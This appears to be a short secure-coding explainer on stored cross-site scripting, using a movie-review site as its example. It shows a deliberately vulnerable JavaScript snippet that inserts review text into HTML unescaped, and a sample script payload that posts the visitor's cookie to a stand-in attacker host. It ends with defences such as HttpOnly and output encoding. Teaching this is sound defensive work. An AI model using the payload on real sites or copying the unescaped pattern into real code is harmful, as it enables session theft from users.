Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) happens when user-controlled input becomes executable code in a browser. Instead of being treated as text, the input becomes part of the page and runs with that page's access.

Imagine a movie site that interpolates each stored review directly into an HTML string:

const reviewItems = reviews
  .map((review) => `<article><p>${review.body}</p></article>`)
  .join("");

An attacker can submit a review containing an executable <script> payload:

<script>
  fetch("https://attacker.example.com/steal-cookie", {
    method: "POST",
    body: document.cookie,
  });
</script>

The site stores that entire script tag as a string, and the payload is injected into the HTML of every visitor's session when they open the movie page. This is stored XSS: the attack persists and reaches other users.

HttpOnly at least takes one common XSS goal off the table because it prevents JavaScript from reading a cookie through document.cookie. Of course, that doesn't stop the injected script from reading page data or making authenticated same-origin requests as the victim.

The defense is to encode untrusted values for the context where they're rendered. In HTML text, characters like <, >, and & need to become text entities instead of active markup.